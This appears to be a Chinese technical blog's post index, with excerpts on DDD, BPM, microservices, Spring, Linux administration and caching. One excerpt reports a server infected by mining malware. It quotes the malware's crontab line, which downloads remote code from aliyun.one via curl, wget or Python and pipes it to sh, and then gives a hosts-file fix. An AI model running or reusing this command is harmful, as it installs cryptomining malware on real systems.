自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

转错的弯,走错的路

世界上唯一不用努力就能得到的,只有年龄

原创 DDD之战略战术设计

DDD将一个软件系统的核心业务功能集中在一个核心域里面,其中包含了实体、值对象、领域服务、资源库和聚合等概念。在此基础上,DDD提出了一套完整的支撑这样的核心领域的基础设施。此时,DDD已经不再是“面向对象进阶”那么简单了,而是演变成了一个系统工程。所谓领域,即是一个组织的业务开展方式,业务价值便体现在其中。长久以来,我们程序员都是很好的技术型思考者,我们总是擅长从技术的角度来解决项目问题。但是,...

2018-04-14 23:41:05 2757

原创 BPM产品介绍

Business Process Management(BPM),即业务流程管理,是一套达成企业各种业务环节整合的全面管理模式。BPM涵盖了人员、设备、桌面应用系统、企业级 Backoffice 应用等内容的优化组合,从而实现跨应用、跨部门、跨合作伙伴与客户的企业运作。 BPM通常以Internet方式实现信息传递、数据同步、业务监控和企业业务流程的持续升级优化。显而易见,BPM不但涵盖了传统“工

2017-07-07 22:14:07 1241

原创 自定义状态机

附源码:https://gitee.com/Gjson/SpringCloud.gitSpring StateMachine框架可能对于大部分使用Spring的开发者来说还比较生僻,该框架的主要功能是帮助开发者简化状态机的开发过程,让状态机结构更加层次化介绍Spring StateMachine状态机实现、自定义初始状态及监听器。@Configuration@EnableStateMachine...

2017-06-20 08:20:17 759 3

原创 软件的设计模式

PP面向过程编程OOP面向对象编程高內聚:描述了模块内部的一系列功能的相关程度,对于功能之间相关度不高或者根本没有相关性的功能包含在模块中的做法是不可取的。低耦合:描述了模块直接的依赖、感知程度,耦合的衡量标准是从低到高,一般来说耦合度越低越好。扩展性、可读性、可维护性、极高的可复用性功能分离的设计准则,通过分离关注点的方式。我们把功能称之为关注点。按模型来划分,模型划

2016-12-06 13:39:49 378

转载 中间件的发展

1. 由来  因为工作的原因,经常遇到一个问题就是中间件公司是个什么公司,中间件是什么?  毕竟,中间件在实际的应用过程中,是对应用软件起到支撑作用,最终用户并不直接使用中间件,中间件不是大众消费类软件产品。因此,除非是一个行业专业人士,一般不大可能与中间件打交道,不太了解什么是中间件。  因此,在系统软件之中,操作系统、数据库、中间件的三驾马车,中间件是最神秘的。因为,好

2016-11-29 21:29:26 993

转载 开放平台(ISV接入)

开发平台(ISV)系统架构示例图标题微应用创建步骤套件创建 应用添加 企业授权 应用市场添加应用 应用上架重要参数:套件KEY,套件加密串,回调地址应用地址永久授权码,授权同步suiteTicketsuiteToken注:用这里回调生成的suiteTicket的数据配合套件的Key和secret去取suiteToken以钉钉IS...

2016-11-29 20:41:26 6059 2

转载 大型网站技术架构

此篇已收录至《大型网站技术架构》读书笔记系列目录贴一、可用性度量与考核首先,不得不说,要保证一个网站永远完全可用几乎是一件不可能完成的事。Mission Impossible       (1)如何度量网站可用性?一个神奇的数字——9!你有几个9,就代表你的可用性。例如QQ可用性达到了4个9:99.99%  ①2个9=基本可用  ②3个9=较高可用  ③4个9=具有自动恢复

2016-11-29 20:02:09 401

转载 Java网络编程

Java网络编程课前思考1. 什么是TCP/IP协议?2. TCP/IP有哪两种传输协议,各有什么特点?3. 什么是URL?4. URL和IP地址有什么样的关系?5. 什么叫套接字(Socket)?6. 套接字(Socket)和TCP/IP协议的关系?7. URL和套接字(Socket)的关系?8.1 网络编程基本概念,TCP/IP协议简介8.1.1 网

2016-11-29 14:56:05 449

转载 开放平台的一些想法

开放平台(Open Platform) 在软件行业和网络中,开放平台是指软件系统通过公开其应用程序编程接口(API)或函数(function)来使外部的程序可以增加该软件系统的功能或使用该软件系统的资源,而不需要更改该软件系统的源代码。简介在互联网时代,把网站的服务封装成一系列计算机易识别的数据接口开放出去,供第三方开发者使用,这种行为就叫做Open API,提供开

2016-10-31 13:50:11 318

原创 软件工程的意识

开发人员满脑子都是类、方法、算法、模式、架构,等等,总是想将实际生活中的概念和程序工件进行对应。他们希望看到要建立哪些对象类,要如何对对象类之间的关系建模。他们会习惯按照封装、继承、多态等面向对象编程中的概念去思考,会随时随地这样交谈,这对他们来说这太正常不过了,开发人员就是开发人员。1、软件工程的意识软件!=程序软件危机意识软件过程控制高可用、可扩展

2016-07-14 13:47:17 988

原创 程序思想之路

场景举例:业务场景为出行选择,出行对象抽象为普通人、富人、贵族,出行对象不同,选择的出行方式自然不同,如普通人大部分选择公交车,而且这部分人群比重最大,其次为富人,富人选择出租车比重比较大,再则是贵族,一般会是专车接送,按此应用场景我们进行代码示例。以下为用例视图:代码示例:@Testpublic void testA(){ Integer userTyp

2016-07-12 09:44:24 317

原创 时代不一样了,我们也不一样了

脚本时代已经过去了,我们也该不断进步,防止跟不上时代的脚步…昨天同事分享了微前端技术:只听过“微服务”,“微前端”又是什么硬核技术?它正是借鉴微服务的概念来应用在前端上,将一个巨大的前端工程拆分成一个的小工程,这些小工程具备独立的开发和运行能力,而整个系统就由这些小工程协同合作。这个理念很好,可在实际开发中,又该如何落地?如何拆分呢?涉及何种技术?随着 Martin Fowler 博...

2020-04-17 21:38:29 92

原创 开发真是个孰能生巧的活

是啊,没真正的写代码有些岁月了。俗话说得好,有得必有失。失去了对代码的精熟度,得到了对项目管理、架构的统筹帷幄。总结一下最近几天代码旅程中出现的一些小状况:一、前端前端框架变化真是大呀,所以也成就了众多前端架构师、前端工程师。目前以VUE、React为主框架,公司项目大多也以此为主。对于后端看前端基本还是有些痛(和曾经的JQuery、Ext时代区别很大),但是基本的环境配置要求后端仍需...

2020-04-09 08:57:06 45

原创 管理就像做手术

上周和领导一起吃饭,领导说的一句话,我觉得很在理。“我们就是来做手术的。”是的,一个企业有时就如同一个病人,当企业发生了问题,就如同病人需要去看病、动手术一样。动手术前,势必得先做诊断,确诊哪里出了问题,完了再开膛破颅。管理问题那就抓管理。制度问题就改制度。业务问题就重新梳理业务。技术问题就技术攻关。时刻保持清晰的头脑,一件件、一桩桩,事情都会得到解决的。...

2020-04-06 23:19:11 124

原创 绕不去的环境问题

环境是人赖以生存的地方。环境有则生活优,环境差则生活差。作为一名程序员,第一步就是搭建环境,尤其是新员工入职,首先要做的便是初始化环境。其中包括系统环境(Windows or Linux,or Mac)、输入法、压缩工具、文本工具、办公软件;其次是各种开发类工具(工欲善其事必先利其器),JDK、NPM、Maven、Git、Tomcat、MySQL及客户端工具、开发工具(Idea、VsCode)...

2020-04-02 22:53:52 69

原创 微信开发工具初体验

2020-04-02 00:05:55 33

原创 采用DDD理论分析项目管理全过程

从需求、产品线/产品、开发、测试、运维到运营,利用DDD领域驱动设计理论进行抽象细化演练全过程。采用堆积韦恩图绘制各环节要点示例如下:利用DDD之子域划分及限界上下文理论绘制限界上下文图谱:最后汇总框图结构化输出示例:...

2020-03-19 14:16:44 101

转载 老生常谈IOC与AOP

IOC与AOP基本原理IoC(Inversion of Control)就是由容器控制程序之间的关系,而非传统实现中,由程序代码直接操控。这也就是所谓“控制反转”的概念所在。控制权由应用代码中转到了外部容器,控制权的转移是所谓反转。IoC还有另外一个名字——“依赖注入(Dependency Injection)”。从名字上理解,所谓依赖注入,即组件之间的依赖关系由容器在运行期决定,形象地说,即...

2020-03-16 11:04:55 29

转载 事务的隔离级别解读

Spring事务隔离级别(Isolation Level):1.首先说明一下事务并发引起的三种情况:1) Dirty Reads 脏读一个事务正在对数据进行更新操作,但是更新还未提交,另一个事务这时也来操作这组数据,并且读取了前一个事务还未提交的数据,而前一个事务如果操作失败进行了回滚,后一个事务读取的就是错误数据,这样就造成了脏读。2) Non-Repeatable Reads ...

2020-03-11 13:25:40 27

转载 异步编程的使用场景和作用

异步编程开发是程序员在学习软件开发的时候需要掌握的一种编程开发方法,而今天我们就一起来了解一下,异步编程的使用场景和作用都有哪些。使用场景针对某些客户端的请求,在服务端可能需要针对这些请求做一些附属的事情,这些事情其实用户并不关心或者用户不需要立即拿到这些事情的处理结果,这种情况就比较适合用异步的方式处理这些事情。作用缩短接口响应时间,使用户的请求快速返回,用户体验更好。避...

2020-01-09 09:31:54 339

原创 聊聊微服务架构

随着也业务的不断发展,原来可行的应用,逐渐演变成了单体地狱(泥球模式:随意的架构、庞大的、草率的、布满了胶带和线路,如同意大利面条一般的代码丛林),软件的交付速度已经放缓,敏捷开发和部署已经不可能。逃离单体地狱的途径必将是选择微服务架构(拯救之道)。微服务架构作为模块化的一种形式。每个微服务有其独特的独立性,且都拥有自己的数据库。微服务架构的一个关键特性是每一个微服务之间都是松耦合的,它们...

2020-01-01 16:10:17 41

原创 微服务的必要性

有一次在与客户交流过程中,客户提出“我们的系统遇到了很大的瓶颈,运行极慢,我们该怎么办?微服务之后能否解决慢的问题?”相信大家也遇到过类似的问题,系统往往最初刚上线的时候运行的很好,甚至三五年都很好,但是随着时间的推移,业务与数据的增长使得我们的系统不再如初上线时那么流畅,变得非常臃肿(不灵活,庞大,效率低下)。我们该怎么办?一、“协作”,通过扩充团队力量,实现快速响应,此方法如同蚂蚁搬家...

2020-01-01 11:09:21 151

原创 Linux用户操作篇

1、添加一个用户useradd yourusername2、为用户设置密码passwd yourpassword3、为用户授权usermod -g root yourusername4、添加sudoer文件,赋予用户sudo权限vim /etc/sudoer添加行yourusername ALL=(ALL) ALL...

2019-12-31 19:33:52 19

原创 服务器中了挖矿病毒aliyun.one

服务器中了病毒*/15 * * * * (curl -fsSL -m180 aliyun.one||wget -q -T180 -O- aliyun.one||python -c 'import urllib;exec(urllib.urlopen("http://aliyun.one/pygo").read())')|sh解决方案:修改/etc/hosts,添加Host配置如下:...

2019-12-24 14:23:15 785

原创 如何提高用户体验?

再一次感受软件差体验“慢”,Git拉取代码慢,npm install慢,mvn package慢,流水线持续构建慢,应用部署启动慢... 关键这中间容器状态还是异常,关键异常数分钟后居然还是健康。学员惊奇的问,老师大概要等多长时间才算真的异常?似乎也很无语哦。用户体验功能性BUG当排用户体验差之首,其次为慢,再者为不安全。功能性BUG功能性是系统核心诉求,体现软件核心功能。...

2019-12-23 13:14:20 33

转载 该RPC还是Rest?

REST与RPC概念什么是RESTREST是一种架构风格,指的是一组架构约束条件和原则。满足这些约束条件和原则的应用程序或设计就是 RESTful。REST规范把所有内容都视为资源,网络上一切皆资源。REST并没有创造新的技术,组件或服务,只是使用Web的现有特征和能力。 可以完全通过HTTP协议实现,使用 HTTP 协议处理数据通信。REST架构对资源的操作包括获取、创建...

2019-12-18 14:02:57 25

转载 项目管理新模式

当前越来越多的企业关注、采纳应用产品线管理模式,并取得不错的效果。相对于事业部管理模式,产品线管理模式能更好的发挥协同效应。更好地做到端到端的产品全生命周期的管理,所以更适合产品的多元化,尤其时相关多元化的公司。...

2019-10-31 14:41:11 88

原创 金句汇

古人形容美女之美,“...增之一分则太长,减之一分则太短...”,深刻的揭示了“恰到好处”的美丽。——摘自《架构之美》 一切贤圣,皆以无为法而有差别。——摘自《金刚经》 “系统熵增定律”,该定律指出系统会随着时间的推移变的越来越乱。——摘自《架构之美》 软件系统的关注点,软件实现的功能性、可靠性、易用性、高效率、可维护性、可移植性,当然还有优雅性。——摘自《架构之美》 企业级应用架构,可伸...

2019-10-30 18:37:10 157

原创 DDD的价值

数字化转型,架构先行;企业出海,架构先行;软件开发,架构先行。软件架构(software architecture)是一系列相关的抽象模式,用于指导大型软件系统各个方面的设计。随着技术的不断发展,架构也开始被越来越多地开发和使用。微服务架构着实为企业带来了非常大的影响,利用微服务架构进行软件开发已经成为当前非常流行的一种趋势。对于企业的数字化建设而言,微服务架构不但让平台变得更加规范化,同...

2019-10-28 19:16:46 113

原创 服务器错误500 501 502 503 504 505 详解

tomcat服务器超时504可以通过设置tomcat下conf文件夹的server.xml文件,对请求连接数和请求超时时间进行设置。<Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" acceptCount="500" maxThreads="400"...

2019-10-25 10:08:26 108

转载 使用jar打war包或解压war包

使用jar打war包或解压war包进入Dos命令行,并到目标文件夹,如C:\tomcat\webapps\wbalone,待打包的内容在C:\tomcat\webapps\wbalone里,目标,把wbalone里的相应文件打成war报1、打包 C:\tomcat\webapps\wbalone-cvf wbalone.war ./*2、解压 jar -xvf wbalone.w...

2019-10-24 21:36:10 92

原创 企业“十要十不要”

在具体实践中牢记和践行“十要十不要”一要不断加强专业理论学习,不要把学习当成思想包袱。从理论上、思想上完善自己、丰富自己,不断提高敏锐性和鉴别力,增强思想定力、理论定力,做到内化于心、外化于行。二要树立“学无止境”的思想意识,不要有一时松懈一刻停歇的想法。决不能有歇歇脚、喘口气、一阵风的错误想法。丝毫不能间断地推动全面向纵深发展。三要牢固树立“责任”意识,不要甩担、甩锅,不负责...

2019-10-22 22:03:07 106

原创 安全架构设计

安全是个相对的,安全是一种平衡。随着企业将更多的业务托管于混合云之上,保护用户数据和业务 变得更加困难。本地基础设施和多种公、私有云共同构成的复杂环境, 使得用户对混合云安全有了更高的要求。混合云安全能力体现在以下几方面: 网络和传输安全通过安全域划分、虚拟防火墙、VXLAN 等软件定义网络进行 网络隔离,避免不同平面的网络间相互影响;通过 HTTPS 等 安全通信协议、SS...

2019-10-22 16:28:55 556

原创 云原生(Cloud Native)概念与实践

云原生介绍所谓云原生,它不是一个产品,而是一套技术体系和一套方法论,而数字化转型是思想先行,从内到外的整体变革。更确切地说,它是一种文化,更是一种潮流,是云计算的一个必然导向。云原生概念云原生(Cloud Native)的概念,由来自Pivotal的MattStine于2013年首次提出,被一直延续使用至今。这个概念是Matt Stine根据其多年的架构和咨询经验总结出来的一个思想...

2019-10-22 14:43:52 489

原创 grep 在当前路径下查找信息并全部打印

grep -r localhost ./* 在当前路径下查找localhost的信息并全部打印

2019-10-22 13:29:44 94

原创 Controller成员变量高并发情况下冲突,导致值混乱问题

/** * 默认是单例模式,提高应用高可用 */@RestControllerpublic class OrderController { @Autowired private IOrderService orderService; //解决多线程并发 共享变量混乱问题 private String tid; private ThreadLocal...

2019-10-22 13:27:59 407

原创 Docker Exitcode码

0正常退出非0异常退出Container exited with status 137

2019-10-15 19:50:28 822

原创 登录该怎么做?

考虑点支持三方登录,如微信、QQ、微博等 平台统一登录(账号密码、手机及验证码) 数据库、LDAP Token、JWT、Oauth2、Redis

2019-10-15 14:39:59 49

原创 缓存与数据库一致性问题

正向流程流程一:写业务写入数据,1、持久化数据库;2、写入缓存。步骤完整无任何问题。流程二:读业务读取数据,1、读取缓存,命中成功读取;2、读取缓存,未命中异常返回。什么原因导致未命中异常?非常规流程基于DB直接操作,未触发业务流程缓存更新过程,导致缓存不一致。采用脚本清除缓存,激活缓存更新过程,实现最终一致性。...

2019-09-12 15:21:36 37

原创 pinpoint-APM性能分析利器部署

本文档用于介绍pinpoint服务的单机部署与对接。准备工作1).JDK82).Tomcat8(用于运行collector和web)3).HBase和初始脚本(用于存储监控数据)4).Pinpoint-collector-1.7.2.war(pinpoint的数据收集处理服务)5).Pinpoint-web-1.7.2.war(pinpoint的数据展示界面)...

2019-09-12 15:13:52 79

提示
确定要删除当前文章?
取消 删除